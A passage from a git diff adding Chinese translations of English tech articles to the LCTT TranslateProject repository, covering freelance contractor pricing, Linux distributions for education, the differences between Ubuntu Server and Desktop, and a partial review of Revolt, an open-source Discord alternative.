https://opensource.com/article/20/7/history-content-management-system + +作者:[Pierre Burgy][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/pierreburgy +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_blue_text_editor_web.png?itok=lcf-m6N7 (Text editor on a browser, in blue) +[2]: https://www.w3.org/People/Berners-Lee/#:~:text=A%20graduate%20of%20Oxford%20University,refined%20as%20Web%20technology%20spread. +[3]: https://opensource.com/sites/default/files/uploads/timeline.market.png (timeline of CMS market evolution) +[4]: https://techcrunch.com/2016/11/01/mobile-internet-use-passes-desktop-for-the-first-time-study-finds/ +[5]: https://opensource.com/article/20/6/open-source-voice-assistant +[6]: https://strapi.io/ +[7]: https://saleor.io/ diff --git a/published/202201/20210704 Pricing Yourself as a Contractor 101.md b/published/202201/20210704 Pricing Yourself as a Contractor 101.md new file mode 100644 index 0000000000..cc78168e66 --- /dev/null +++ b/published/202201/20210704 Pricing Yourself as a Contractor 101.md @@ -0,0 +1,79 @@ +[#]: via: (https://theartofmachinery.com/2021/07/04/pricing_as_contractor_101.html) +[#]: author: (Simon Arneaud https://theartofmachinery.com) +[#]: collector: (lujun9972) +[#]: translator: (CN-QUAN) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14196-1.html) + +将自己作为承包商而定价的基础原则 +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/20/095355ib1k816i22fieoeh.jpg) + +我职业生涯的大部分时间都是自由职业者。有时候,我也会和一些想要辞掉全职工作去做一些承包或服务业务的人聊天。到目前为止,我们新手最常犯的错误就是为自己定价。 + +以 [这篇有用的博客文章为例,它分析了美国雇员与自由职业者的收入间的对比][1]。据估计,在美国,作为一名自由职业者,你需要获得 14 万美元的收入,才能获得相当于 10 万美元的雇员薪酬。我记得当我第一次创业时,我发现这样的计算非常有用。而,有些人看到结果会想:“哎呀,如果我是自由职业者,我得赚 1.4 倍的钱。我真的能做到吗?” + +不,不,不,这种想法是落后的。 + +### 如何给自己定价 + +让我们举个例子。假设你是一名全职软件工程师,年收入 10 万美元,你正考虑转成承保。 + +当你是自由职业者时候,你必须像做企业一样思考,因为这就是你的谋生方式。所以,你必须把所有的成本加起来,并计算出如何收回这些成本。电子表格的口碑很差(有一些很好的理由),但它们实际上非常有用,尤其是对这些东西(以及作为企业主要进行的许多其他计算)。 + +第一个要加入统计的成本是那 10 万美元。如果这听起来很奇怪,那就是所谓的“机会成本”。你本可以继续工作以赚到 10 万美元;而没有赚到这 10 万美元,实际上是在规划业务时的一种成本。把这一费用和其他你实际使用的任何其它就业福利一起记下来。如果你的雇主提供工作日午餐,那就加上一年中每个工作日午餐的费用。如果你的雇主为员工提供健身软件的折扣,但你却没有使用该软件,那么不要将该福利作为机会成本。 + +其他费用取决于你在做什么和你住在哪里。员工医疗保险在澳大利亚不像在美国那么重要。另一方面,强制性养老金支付(类似于美国的 401(K) 计划)是一个大问题。我有自己的公司,我的主要非工资成本是保险、会计/档案、法律(合同审查等)、债务催收和各种在线服务成本。如果你在计算一些耐用的东西(比如一张桌子),把成本除以你预计使用该东西的年数。 + +总之,到目前为止,这基本上就是 Caleb 的博客文章中的内容,所以为了简单起见,我将假设同样的 10 万美元的名义工资和 14 万美元的等效业务成本。(当然,一切都要根据自己的情况进行调整。)现在你需要想办法收回这笔成本。澳大利亚一年大约有 255 个工作日,所以如果你能把它们全部外包出去,你每天要收取 550 美元(外加销售税)。在现实中,你不可能为一整年的工作计费。我采取了一种风险更高的方法,在我目前从事自营职业的过去 6 年里,我的平均回报率约为 60%-70%。[埃森哲的年度财务报告][2] 说他们的承包商的“利用率”大约为 90%,我想这意味着他们付费了 90% 的总工作日的费用。让我们假设你的工作适度,75% 的工作日都有付账。这意味着你可以在 255 天的 75%(即 191 天) 里收回了 14 万美元的成本,每天开出 730 美元的账单(加上销售税)。 + +### 误区 + +刚接触合同的人通常会对这样的数字做出反应,并会想,“见鬼?!这么高啊!”。这只是一个计算示例,但服务价格通常相当于你天真猜测的全职雇员工资的两倍或两倍以上。然而,这日薪是通过一个简单的计算得出的,那就是你需要收取多少钱才能获得相当于 10 万美元的工资。这是一回事。不这样想才是关键的错误。 + +新的承包商往往还不敢确定,他们要求那么多,听起来是不是很贪婪?如果你的客户有考虑采购你,他们也在做大致相同的计算。“我可以付给 Gentle Blog Reader 每天 730 美元,只要我愿意,我也可以花大约 14 万美元雇佣一个我甚至不是每天都真正需要的全职雇员。”从雇主的角度来看,10 万美元的薪水实际上也不是 10 万美元。把价格建立在名义基本工资的基础上是没有意义的。即使你是在销售 B2C 产品,你的潜在竞争对手也不会降价,至少不会持续降价。 + +### 为什么这很重要 + +这个具体的例子是针对承包的,但这是商业经济学的一条基本规则:除非你正在尝试一些风险极高的高收入行为(我们知道 [Pets.com][3] 的结果),否则你需要计算出你的成本,并设定足够高的价格来弥补这些成本。 + +一些人仍然对他们需要设定的价格感到不安,他们认为降低价格是合理的。也许他们会这样想:“我是个很好的人,如果我每天只收 400 美元,我的客户会更高兴。”问题是你得不到同样的客户。那些愿意为雇员支付 10 万美元年薪的客户,不会为承包商支付 400 美元一天来做同样的工作。相反,在实践中,你可能会得到一些好客户,他们只是没有每天 730 美元的预算,但同时你也会得到一大堆非常糟糕的客户。想想看。如果一个陌生人以 50 美元的价格卖给你一枚看起来很精美的钻戒,你会付钱吗?还是宁愿以正常价格买另一枚戒指? + +我要强调的是,我只是从 Caleb 的博客文章中提取了数据,而且一切都是相对的。用你自己的数字代替吧。在世界上大多数地区,每天 400 美元可能是一个令人难以置信的价格。然而,如果你是硅谷的一名高级金融科技开发人员,每天收费 400 美元只会让你成为吸引糟糕客户的磁铁。大多数优秀的人都会知道有些事情不对劲,他们会被吓跑。 + +我说的糟糕客户是什么意思?浏览一下 [“来自地狱的客户”博客][4] 吧。它包括很多基本的烦恼,比如客户永远不会得到满足,或者提出无理要求,或者浪费你的时间,一直到彻头彻尾的辱骂,或者让你按规格工作,然后辩称自己不应该付钱,因为“我不想要”。有些客户根本就不付钱。 + +如果你不够重视你自己的产品,也不要因为你的客户不够重视你的产品而感到震惊。 + +不过,情况会变得更糟。好客户倾向于与其他好客户合作。如果你总是按时做到,你会和那些浪费你时间的人一起工作吗?如果你尊重他人,你会和那些不讲道理、辱骂他人的人一起工作吗?一般来说,你的好客户会把你介绍给其他好客户。糟糕的客户则恰恰相反,如果他们甚至会感激地把你推荐给任何人的话。因此,如果你的价格合适,你的生意会随着你的声誉而增长。如果你收费过低,你会发现自己陷入了一个恶性循环,你不仅会赔钱,而且会发现越来越难获得适当的报酬。 + +这些都只是平均水平,如果你幸运的话,低收费也能吸引到好客户,如果你不幸的话,价格合理也仍然会得到坏客户。然而,如果你的收入已经很低了,那么每一个坏客户都会对你造成伤害。希望超越平均水平不是一个好计划。 + +### “但没人付那么多钱!” + +假设你是一名经验丰富的全职工程师,你决定尝试独立工作。你可能会发现,你的计算比率似乎比你在自由职业网站上看到的要高。这是因为在自由职业网站上建立声誉很难。自由职业者网站对于那些主要想要低价的临时买家来说是最有用的。 + +我想,很多聪明的工程师都认为,职业社交是很难的,而且需要非常外向的性格,所以他们不得不依靠自由职业网站来工作。坏消息是,你需要建立良好的声誉才能拿到高薪。好消息是,只要他们拥有所需的技能,大多数人都可以做到。社交并不是去参加所谓的“社交活动”(实际上,这些活动对社交来说都很糟糕)。建立关系网的技巧可以写一篇全新的博客文章,但关键是在他们的日常生活中找到好客户,并做一些让他们不断回头的事情,甚至可能让你找到其他好客户。 + +在任何情况下,不要让自由职业网站或其他任何东西把你的价格定在你可以从全职工资中拿到的等价物以下。事实上,[你甚至可能比你现在的工资还高][5],这就是为什么这是 “定价基础原则”。收费过低会扼杀你的自主创业生涯。 + +-------------------------------------------------------------------------------- + +via: https://theartofmachinery.com/2021/07/04/pricing_as_contractor_101.html + +作者:[Simon Arneaud][a] +选题:[lujun9972][b] +译者:[CN-QUAN](https://github.com/CN-QUAN) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://theartofmachinery.com +[b]: https://github.com/lujun9972 +[1]: https://calebporzio.com/making-100k-as-an-employee-versus-being-self-employed +[2]: https://www.accenture.com/au-en/about/company/annual-report +[3]: https://en.wikipedia.org/wiki/Pets.com +[4]: https://clientsfromhell.net/ +[5]: https://theartofmachinery.com/2018/10/07/payrise_by_switching_jobs.html diff --git a/published/202201/20210715 Linux for Education- Best Distributions for Kids, Teachers - Schools.md b/published/202201/20210715 Linux for Education- Best Distributions for Kids, Teachers - Schools.md new file mode 100644 index 0000000000..371b9dee5d --- /dev/null +++ b/published/202201/20210715 Linux for Education- Best Distributions for Kids, Teachers - Schools.md @@ -0,0 +1,177 @@ +[#]: subject: (Linux for Education: Best Distributions for Kids, Teachers & Schools) +[#]: via: (https://itsfoss.com/educational-linux-distros/) +[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) +[#]: collector: (lujun9972) +[#]: translator: (wxy) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14174-1.html) + +给儿童、教师和学校的最佳 Linux 发行版 +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/13/082306ndfbc4wzblpjdncz.jpg) + +孩子们可以使用 Linux 发行版吗?它又是否适合学校使用呢? + +嗯,这取决于你有什么选择,以及你想选择的是什么。不管你是想给孩子还是学校老师用,都有不少选择。 + +因此,为了给你一个良好的开端,我们策划了一个为教育量身定做的 [最佳 Linux 发行版][1] 列表。 + +### 最适合儿童的 Linux 发行版 + +对于一个孩子来说,发行版必须提供一个用户友好的用户界面,而不是高级功能。 + +你可能会说,任何主流的、[像 Ubuntu][2]、Mint 或 Zorin 这样适合初学者的发行版都可以做到这一点。没错,但是如果一个发行版带有了 [基本工具][3] 并易于使用,孩子们会很快学会使用它并喜欢上它。 + +#### 1、Endless OS + +![][4] + +[Endless OS][5] 是一个流行的选择,是为教育量身定做的 Linux 发行版。 + +它以 Debian 为基础,使用 GNOME 桌面环境。尽管它限制了一年内在超过 500 台电脑上使用其操作系统,但它是免费下载的。 + +它的用户界面很容易使用,看起来很有吸引力,适合安装在现代电脑上。你可以得到各种预装的应用程序。因此,这对没有互联网接入的电脑来说是很方便的。 + +#### 2、Ubermix + +![][6] + +[Ubermix][8] 是一个基于 Ubuntu 的 Linux 发行版,旨在通过调整用户界面,摆脱不必要的应用程序,以及增加用于教育的必要工具/应用程序来降低复杂性。 + +它还提供了一种方法,在出现问题的情况下可以轻松地从系统问题中恢复。在内容过滤和 [屏幕时间控制][7] 方面有一个可选的家长控制功能,这确实很有用。 + +Ubermix 得到了积极的维护,并在其官方网站上提供了大量关于安装和故障排除的说明。 + +#### 3、Kano OS(用于树莓派) + +![][9] + +[Kano OS][16] 是为 6 至 14 岁的儿童教育而量身定做的计算套件。它就像高级版的树莓派,为年轻人提供了大量的 DIY 和编码活动。 + +Kano OS 也有基于 Debian 的 [用于树莓派的操作系统][14]。你不需要为此而购买 Kano 套件。你可以在你的树莓派上使用它。 + +它的目的是在与他们的计算机套件结合时,提供它所策划的教育的好处。从编码应用程序到游戏,应该有适合每个人的东西。 + +你还会发现有用的家长控制设置,可以为你的孩子限制/调整体验。如果需要更多的帮助,[官方帮助资源][15] 也会派上用场。 + +#### 4、AcademiX GNU/Linux + +![][17] + +[AcademiX][18] 是另一个基于 Debian 的发行版,主要用于学习。 + +不仅仅是初级教育,该操作系统中包含的程序对大学生也应该是有用的。它还包括虚拟互动实验室和虚拟显微镜。 + +**虽然它通过预装的实用程序使学习变得简单,但教师也可以用它来创建内容和发布。** + +因此,它可以成为很多潜在的学习者和学校教师的一个全能选择。 + +#### 5、Sugar(使任何发行版都对儿童友好) + +![][19] + +[Sugar][21] 不是一个成熟的操作系统,而是一个学习平台(环境),它可以安装在任何 Linux 发行版之上,为学习而设置。 + +不仅仅是帮助你的孩子用一个易于使用的界面学习,它还有有助于协作、分享和学习而预装的软件工具。 + +它也可用于树莓派。而且提供了 [Flatpak 包][20],可以让你在任何 Linux 发行版中轻松安装它的一些学习活动。 + +#### 6、Li-f-e + +Linux for education([Li-f-e][22])最初是 OpenSUSE 的一个项目,这是它的一个延续。 + +尽管它现在没有 OpenSUSE 的支持(我找不到任何参考资料),但它对孩子和学校来说可能是一个有用的选择。 + +这款软件基于 Ubuntu MATE,按照一些教科书的说法,它提供了几个内置的应用程序。它并没有提供什么特别的东西,而更像是 Ubuntu 教育版,在写这篇文章的时候,它正在积极维护。 + +### 最适合学校的 Linux 发行版 + +到目前为止,我提到的那些都是为孩子们的教育和学习而定制的。但教育有两个部分:学生和教师。 + +这就是为什么这个列表分为两部分。这第二部分列出了一些可能适合学校管理者、管理层和教师的选项。 + +当然,如果你想利用一个稳定可靠的 Linux 桌面操作系统来管理你的学校(或)内容创作,你总是可以使用 Linux Mint、elementary OS 或 Ubuntu。然而,有一些选项是为这种目的而定制的。 + +#### 1、Debian Edu/Skolelinux + +![][23] + +[Skolelinux][24] 是一个基于 Debian 的发行版,包含了一些适合学校师生使用的应用程序和网页服务。 + +它也被称为 Debian Edu。你可以通过下载所需的 ISO 或基本系统来选择离线安装,其余的可以在线安装。 + +尽管孩子们在安装后就可以使用它,但它需要一些学习过程来进行配置和维护。因此,这更倾向于学校管理人员或教师,而不是孩子。 + +#### 2、Linux Schools(Karoshi 服务器) + +一个具有 Ubuntu LTS 优点的 Linux 发行版,为学校服务器而建。如果你想建立一个服务器并监视/控制一个连接的服务器网络,[Linux Schools][25](或 Karoshi 服务器)是一个很好的选择。 + +它可以让你使用网页界面管理一个服务器网络。你不需要 Linux 系统管理的深入知识来利用它。 + +#### 3、Escuelas Linux + +![][26] + +[Escuelas Linux][29] 是基于 Bodhi Linux 的。它内置了几个适合教育环境的应用程序。 + +它有自定义的工具,可以在几秒钟内将发行版重设为安装后的状态。也有恢复用户身份的选项。除此之外,它还带有在网络中分发教育材料、屏幕广播、镜像、远程命令执行、信息发送、屏幕锁定和对学生的计算机进行静音的应用程序。 + +考虑到它基于 Bodhi Linux,而 Bodhi Linux 是 [最好的轻量级 Linux 发行版][28] 之一,这对旧系统来说是个不错的选择。 + +如果你需要 NetBeans、Git、Android Studio 等高级工具,你还可以得到一个额外的开发者包,这是可选安装的。 + +除了这些选择之外,还有 [EduBOSS][30],这是 BOSS Linux 的教育版,是为印度学校量身定做的。 + +### 总结 + +虽然有一百多个 Linux 发行版,但只有少数几个是专门为教育而设计的。 + +对于学生、教师和学校管理来说,有一些可行的选择是件好事。 + +毕竟,Linux 可以到处使用,任何人都可以使用。我说的对吗? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/educational-linux-distros/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-linux-distributions/ +[2]: https://itsfoss.com/best-linux-beginners/ +[3]: https://itsfoss.com/essential-linux-applications/ +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/endless-os-distrowatch.png?resize=800%2C500&ssl=1 +[5]: https://endlessos.com/home/ +[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/ubermix-4-official.png?resize=800%2C452&ssl=1 +[7]: https://itsfoss.com/activitywatch/ +[8]: https://ubermix.org/download.html +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/kano-os.png?resize=800%2C570&ssl=1 +[10]: https://i1.wp.com/m.media-amazon.com/images/I/41-VaIktpgL._SL160_.jpg?ssl=1 +[11]: https://www.amazon.com/dp/B073VTCS66?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (Kano Computer Kit – A Computer Anyone Can Make) +[12]: https://www.amazon.com/gp/prime/?tag=chmod7mediate-20 (Amazon Prime) +[13]: https://www.amazon.com/dp/B073VTCS66?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (Buy on Amazon) +[14]: https://itsfoss.com/raspberry-pi-os/ +[15]: https://help.kano.me/hc/en-us/sections/360001083699-Kano-OS +[16]: https://kano.me/row/downloadable +[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/academix-edu.png?resize=800%2C450&ssl=1 +[18]: https://academixproject.com/en/home/ +[19]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/sugarlabs.jpg?resize=992%2C744&ssl=1 +[20]: https://itsfoss.com/what-is-flatpak/ +[21]: https://www.sugarlabs.org +[22]: https://sourceforge.net/projects/cyberorg-home/files/Li-f-e/ +[23]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/skolelinux.png?resize=800%2C450&ssl=1 +[24]: http://www.skolelinux.org +[25]: https://www.linuxschools.com/forum/index-main.php +[26]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/escuelas-linux.jpg?resize=800%2C450&ssl=1 +[27]: https://itsfoss.com/escuelas-linux/ +[28]: https://itsfoss.com/lightweight-linux-beginners/ +[29]: https://escuelaslinux.sourceforge.io/english/index.html +[30]: https://bosslinux.in/eduboss diff --git a/published/202201/20210901 Ubuntu Server vs Desktop- What-s the Difference.md b/published/202201/20210901 Ubuntu Server vs Desktop- What-s the Difference.md new file mode 100644 index 0000000000..05bb41e5a5 --- /dev/null +++ b/published/202201/20210901 Ubuntu Server vs Desktop- What-s the Difference.md @@ -0,0 +1,133 @@ +[#]: subject: "Ubuntu Server vs Desktop: What’s the Difference?" +[#]: via: "https://itsfoss.com/ubuntu-server-vs-desktop/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14146-1.html" + +Ubuntu 服务器版与桌面版有什么区别? +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/04/122152zdqkkqqqw6cgcdcq.jpg) + +当你点击 [Ubuntu 网站][1] 上的下载按钮时,它会给你几个选项。其中两个分别是 Ubuntu 桌面版和 Ubuntu 服务器版。 + +这可能会让新用户感到困惑。为什么会有两个(实际上是四个)?应该下载哪一个?Ubuntu 桌面版还是服务器版?它们是一样的吗?有什么区别? + +![Ubuntu 网站给了你多种选择][2] + +我将解释 Ubuntu 的桌面版和服务器版的区别。我还会解释你应该使用哪个变体。 + +### Ubuntu 桌面版与 Ubuntu 服务器版 + +![Ubuntu 桌面版和服务器版][3] + +要了解 Ubuntu 桌面版和服务器版的区别,你应该了解桌面操作系统和服务器操作系统的区别。 + +#### 桌面操作系统 + +桌面电脑Desktop是指个人电脑(PC)。桌面电脑操作系统带有一个图形用户界面,以便用户可以使用鼠标和键盘操作。桌面电脑的主要目的是给你一个系统,可以用来浏览网页、编辑文档、查看/编辑图片和视频、编码和游戏。基本上,就是为个人、终端用户或家庭成员提供了一个通用的计算机。 + +我在这里使用桌面电脑这个术语,但这并不意味着它不能用于笔记本电脑。桌面电脑是个人电脑的通用术语。 + +#### 服务器操作系统 + +另一方面,服务器操作系统是专门为托管网站、应用程序、媒体服务器、数据库等网络服务而打造的。 + +通常情况下,服务器操作系统不带有图形界面。如果是基于 Linux 的操作系统,你就得通过终端的命令来使用该系统。 + +这里的好处是,服务器操作系统不需要(浪费)大量的内存和计算能力,因为它们不使用 [图形化桌面环境][4]。除此以外,服务器操作系统的软件包配置也不同。 + +现在你对服务器和桌面的区别有了一些了解,让我们看看 Ubuntu 服务器版和桌面版的区别。 + +#### 用户界面 + +Ubuntu 服务器版和桌面版之间最明显的区别是用户界面。 + +Ubuntu 桌面版的特点是采用 GNOME 桌面环境的图形化用户界面。这使得它在鼠标点击的帮助下更容易使用。 + +![图为 Ubuntu GNOME 版的用户界面][5] + +Ubuntu 服务器版采用无头方式headless运行。你只有在登录后才会看到一个终端界面。你经常会从其他电脑上通过 SSH 来远程管理它。 + +![通过 SSH 连接到远程 Ubuntu 服务器][6] + +#### 安装 + +[由于有了图形化的安装程序,将 Ubuntu 作为桌面电脑是很容易的][7]。你可以创建一个临场 USBLive USB,无需安装即可体验桌面版。如果你喜欢,你可以按照屏幕上的指示在几分钟内安装它。 + +![通过图形化安装程序安装 Ubuntu 桌面版][8] + +将 Ubuntu 作为服务器安装并不像桌面版那样简单。你只能使用终端界面。如果你不熟悉这个流程,即使是最简单的任务,如连接到 Wi-Fi,也可能是一个困难的任务。 + +![Ubuntu 服务器版的安装][9] + +#### 应用程序 + +在 Ubuntu 桌面版中,默认的应用程序集主要针对普通计算机用户。因此,你会发现网页浏览器、办公套件、媒体播放器、游戏等。 + +![Ubuntu 中的应用程序][10] + +Ubuntu 服务器版的应用程序更多的是为运行网络服务而定制的。而这还不是全部。有些应用程序的配置也是不同的。以 SSH 为例。Ubuntu 服务器预设了 SSH,这样你就可以轻松地从远程系统连接到它。而在 Ubuntu 桌面版上,你必须明确启用 SSH 才行。 + +#### 硬件要求 + +由于桌面版具有图形用户界面,你需要至少 4GB 的内存来运行 Ubuntu 桌面版。磁盘空间至少要有 20GB。 + +这就是 Ubuntu 服务器的有趣之处。它没有图形化的界面。命令行界面不会消耗大量的系统资源。因此,你可以在 512MB 和 5GB 磁盘空间的机器上轻松运行 Ubuntu 服务器。(LCTT 译注:当然,对于服务器环境来说,内存和磁盘空间是多多益善。) + +服务器上的内存和磁盘空间受制于你所运行的网络服务。如果一个网络应用需要至少 2GB 的内存,你就应该有这么多的内存。但在最简单的情况下,即使是 512MB 或 1GB 的内存也可以工作。 + +#### 用途 + +这是 Ubuntu 桌面版和服务器版之间的主要区别。问问自己,你想把 Ubuntu 用于什么目的? + +如果是专门用于部署网络服务,那就选择 Ubuntu 服务器。请记住,你需要有基本的 Linux 命令行知识来使用终端。 + +如果你想把 Ubuntu 作为像 Windows 一样的普通电脑使用,那就选择 Ubuntu 桌面版。如果你想用它来学习 Linux 命令,或用于学习的 Docker 或者甚至是简单的(但是本地的)LAMP 服务器环境,请继续使用 Ubuntu 桌面。 + +对于服务器来说,Ubuntu 服务器版要比 Ubuntu 桌面版好。对于常规的计算机使用,Ubuntu 桌面版是更好的选择。 + +#### 你应该在服务器上使用 Ubuntu 桌面版还是在服务器上安装图形界面? + +是这样的,Ubuntu 桌面版和服务器版都是 Linux,你可以用 Ubuntu 桌面版作为服务器来托管网页服务。这没问题。 + +同样地,[你可以在 Ubuntu 服务器上安装图形界面][11],并以图形方式使用它。这也是可行的。 + +![Ubuntu 服务器上的 GUI 登录][12] + +但仅仅因为它可行,并不意味着你应该这么做。它违背了为服务器和桌面电脑创建不同版本的全部目的。 + +你必须付出额外的努力来将服务器版转换为桌面版,反之亦然。为什么要承受这种痛苦呢? + +如果你使用 Ubuntu 的目的很明确,那就下载并安装合适的 Ubuntu 版本。 + +我希望这能使围绕 Ubuntu 桌面版和服务器版的选择现在更清楚一些。如果你有问题或建议,请利用评论区。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ubuntu-server-vs-desktop/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://ubuntu.com/ +[2]: https://itsfoss.com/wp-content/uploads/2021/08/ubuntu-server-desktop-download-800x338.webp +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/ubuntu-desktop-server.png?resize=800%2C450&ssl=1 +[4]: https://itsfoss.com/what-is-desktop-environment/ +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/installing-gui-ubuntu-server-gnome-desktop.png?resize=792%2C597&ssl=1 +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/system-restart-required.png?resize=800%2C469&ssl=1 +[7]: https://itsfoss.com/install-ubuntu/ +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/02/installing-ubuntu.png?resize=800%2C549&ssl=1 +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/ubuntu-server-installation.png?resize=800%2C600&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/09/gnome-app-arranger.jpg?resize=799%2C450&ssl=1 +[11]: https://itsfoss.com/install-gui-ubuntu-server/ +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/installing-gui-ubuntu-server-gnome-desktop-greet.png?resize=798%2C600&ssl=1 diff --git a/published/202201/20210914 Revolt- An Open-Source Alternative to Discord.md b/published/202201/20210914 Revolt- An Open-Source Alternative to Discord.md new file mode 100644 index 0000000000..9cb9491ac7 --- /dev/null +++ b/published/202201/20210914 Revolt- An Open-Source Alternative to Discord.md @@ -0,0 +1,132 @@ +[#]: subject: "Revolt: An Open-Source Alternative to Discord" +[#]: via: "https://itsfoss.com/revolt/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14221-1.html" + +Revolt:Discord 的开源替代品 +====== + +> Revolt 是一个有前途的自由和开源的 Discord 替代品。在这里,让我们看一下它所提供的东西以及它的初步印象。 + +Discord 是一个功能丰富的协作平台,主要为游戏玩家量身定做。尽管你可以在 Linux 上毫无问题地使用 Discord,但它仍然是一个专有解决方案。 + +你可以选择使用 [Element][1] 作为一个开源的解决方案协作平台,但它不是一个替代品。 + +但是,Revolt 是一个令人印象深刻的 Discord 替代品,它是开源的。 + +> 注意: +> +> Revolt 正处于公开测试阶段,不提供任何移动应用。它可能缺乏一些你在 Discord 上找到的基本功能。 + +我会重点说一下 Revolt 的功能,以及它是否可以成为 Linux 上 Discord 的替代品。 + +### 一个你可以自行托管的开源 Discord 替代品 + +![][2] + +Revolt 不仅仅是一个简单的开源替代品,而且你还可以自我托管。 + +它确实缺少 Discord 提供的各种功能,但你可以获得许多基本功能,可以先体验一下。 + +即使缺乏一些功能,但它也是一个功能丰富的开源客户端。让我们来看看现有的功能。 + +### Revolt 的功能 + +![][3] + +它看起来和感觉已经很像 Discord,这是一些关键的亮点: + + * 能够创建你自己的服务器 + * 创建文字频道和语音频道 + * 在服务器中分配用户角色 + * 调整主题(深色/浅色) + * 改变强调色 + * 从可用选项中管理字体和表情包 + * 支持自定义 CSS + * 能够添加机器人 + * 易于管理文本/语音频道的权限 + * 向其他用户发送朋友请求 + * 保存的笔记 + * 能够控制通知 + * 支持硬件加速 + * 专门的桌面设置 + * 使用 Docker 进行自我托管 + * 用户状态和自定义状态支持 + +因此,作为处于公开测试阶段的东西,它听起来对初学者来说非常好。你已经拥有了大部分的核心功能,但你可能想等着看它成为一个成熟的 Discord 替代品。 + +### 使用 Revolt 的初步印象 + +![][4] + +如果你使用过 Discord,用户体验会感觉很熟悉。这是一件好事。 + +对于这篇快速亮点介绍,我没有比较 Discord 和 Revolt 的资源使用情况,因为它仍然处于测试阶段,不是同等级的比较。 + +然而,在我简短的测试中,它感觉很快速,除了第一次加载一个文本频道时。在发表这篇文章时,它没有双因素认证(2FA)功能,但应该会在他们的第一个里程碑(第一版)版本中添加。 + +![][5] + +一些功能如用户状态、权限管理和外观调整看起来很有用。但是,当涉及到语音频道时,它和 Discord 的工作方式不一样,至少现在是这样。 + +我不知道他们是否打算用同样的方式,但 Discord 的语音频道功能是直观的、快速的,而且有更好的控制。 + +不要忘了,Discord 还提供 “Discord Stage”,这是一个类似 Clubhouse 的音频聊天室功能。 + +其他一些我找不到的功能包括: + + * 对信息作出反应的能力 + * 抑制噪音的功能 + * 改变服务器 + * 服务器日志 + * 各种有用的机器人 + +当然,要赶上 Discord 提供的功能还需要大量的时间,但至少我们现在有一个开源的 Discord 解决方案。 + +你可以了解他们的 [项目路线图/发布跟踪器][6],看看你可以在其最终/未来的版本中期待什么。 + +### 在 Linux 中安装 Revolt + +Revolt 可用于 Linux 和 Windows。你可以选择在你的网络浏览器上使用它,而不需要一个单独的应用。 + +但是,如果你需要在你的桌面上使用它,他们提供了一个 AppImage 文件和一个 deb 包,你可以从它的 [GitHub 发布页][7] 下载。 + +如果你是 Linux 的新手,可以参考我们关于 [使用 AppImage 文件][8] 和 [安装 deb 包][9] 的资源来开始学习。 + +如果你想用你的错误报告和建议来帮助他们改进,请随时前往 [反馈页面][10]。此外,你还可以浏览他们的 [GitHub 页面][11] 以了解更多信息。 + +- [Revolt][12] + +你觉得 Revolt 怎么样?你认为它有可能成为 Linux 上 Discord 的一个很好的开源替代品吗? + +请在下面的评论中告诉我你的想法! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/revolt/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/element/ +[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/revolt-screenshot.png?resize=800%2C506&ssl=1 +[3]: 